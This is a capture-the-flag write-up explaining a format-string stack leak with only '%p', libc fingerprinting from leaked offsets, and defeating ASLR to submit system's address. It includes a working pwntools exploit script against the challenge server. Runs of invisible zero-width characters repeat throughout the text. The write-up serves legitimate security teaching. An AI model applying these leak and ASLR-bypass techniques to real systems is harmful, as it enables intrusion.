← Back to Writeups
CUSTOMMediumpwn

look at me (ASLR 10)

XESXOR9/2/20263 min read
#pwn#custom#medium#aslr_base_recovery#format_string_leak#libc_fingerprinting#percent_p_stack_leak#value_equality_check

look at me (ASLR 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: aslr_base_recovery, format_string_leak, libc_fingerprinting, percent_p_stack_leak, value_equality_check

Summary

Task: 64-bit PIE/NX ELF with a printf(user_input) format string but a filter that only allows the chars {%, p, .} — exactly the alphabet of a %p leak. Solution: leak stack with %p.%p..., fingerprint the libc (glibc 2.31 Ubuntu) by matching strtol/fgets/printf offsets, compute base, then submit hex(base+system_offset) to pass the value-equality check that prints /flag.

look at me (ASLR 10) — pwn_spbctf

Description

Куда смотреть-то? Стеки, адреса, библиотеки, слоооожна... ("Where to look? Stacks, addresses, libraries, soooo hard...")

Hints in rodata: "Let's learn how to use https://libc.blukat.me/", "Leak some addresses from the stack and find out a libc version.", "And now enter address of system function."

Remote pwn challenge (nc 109.233.56.90 11631). A 64-bit x86-64 ELF (PIE, NX, no canary, Partial RELRO). No libc is provided — you must identify the exact build from a leak. An alarm(5) in task_init kills slow sessions, so the exploit must be one fast connection with no sleeps. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reversing the binary (filter @0x11e5, safe_fgets @0x1270, print_flag @0x12ec, main @0x1363):

main flow:

  1. Loads GOT values into locals (GLOB_DAT, resolved at load time): system@0x3fc0, printf@0x3fc8, __libc_start_main@0x3fd0, fgets@0x3fd8, strtol@0x3fe8.
  2. safe_fgets(payload @ .bss 0x40c0, 0x40).
  3. filter(payload).
  4. puts("Hmmm...").
  5. printf(payload) — format string vulnerability (user input as format).
  6. safe_fgets(buf @ rbp-0x40, 0x20); v = strtol(buf, NULL, 16).
  7. If v == [0x3fc0] (the runtime system GOT value) → print_flag() (fopen("/flag"), fgets, printf("Flag: %s")). Else puts("Nope"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The filter is the key insight. For each character of the payload:

c
if (c == '%' || c == 'p' || c == '.') continue;   // allowed
else { puts("No no no..."); exit(1); }             // anything else kills you

This is an allow-list that requires every character to be one of {'%', 'p', '.'}. That alphabet is exactly what you need for a %p-only format-string leak — and nothing else (no %s/%x/%n because those letters are forbidden). The challenge literally hands you the leak primitive while forbidding write primitives. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Two stages, one connection (mind the alarm(5)):

Stage 1 — leak the stack and fingerprint the libc

Send %p.%p.%p... (16 of them). The leak line appears after the "Hmmm...\n" line. Split on . and parse the hex words.

The three GOT values that main saved into locals appear at stable slots (1-based, relative to slot 15 = __libc_start_main_ret, low 12 bits 0x0b3):

  • slot 11 = strtol
  • slot 12 = fgets
  • slot 13 = printf

Matching the leaked offsets against candidate libcs uniquely fingerprints the build: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

strtol = 0x4bc20
fgets  = 0x857b0
printf = 0x64e10   ->  Ubuntu glibc 2.31  (system = 0x55410)

(Same build as the sibling "cleaker" task's libc, cleaker_libc-2.31.so.) Compute base = printf_leak - 0x64e10 and verify it is page-aligned.

Stage 2 — submit the runtime address of system

The program then asks for the address of system. Send hex(base + 0x55410). strtol(input, 16) then equals the runtime system GOT entry, so the value-equality check passes and print_flag() dumps /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
HOST, PORT = '109.233.56.90', 11631
lib = ELF('cleaker_libc-2.31.so')      # Ubuntu glibc 2.31, system=0x55410

io = remote(HOST, PORT)
io.recvuntil(b'Payload:')
io.sendline(b'.'.join([b'%p']*16))     # only %, p, . pass the allow-list filter
io.recvuntil(b'Hmmm...\n')
line = io.recvline().decode()

def pv(s):
    s = s.strip()
    return 0 if s in ('(nil)', '') else int(s, 16)

L = [pv(v) for v in line.strip().split('.') if v]
base = L[12] - lib.sym['printf']       # slot 13 (1-based) = printf
assert base & 0xfff == 0, hex(base)    # page-aligned sanity check
system = base + lib.sym['system']      # 0x55410
log.success("base %#x system %#x" % (base, system))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.recvuntil(b'Address (as hex):')
io.sendline(hex(system).encode())      # strtol(input,16) == runtime system GOT -> print_flag
print(io.recvrepeat(1.5).decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍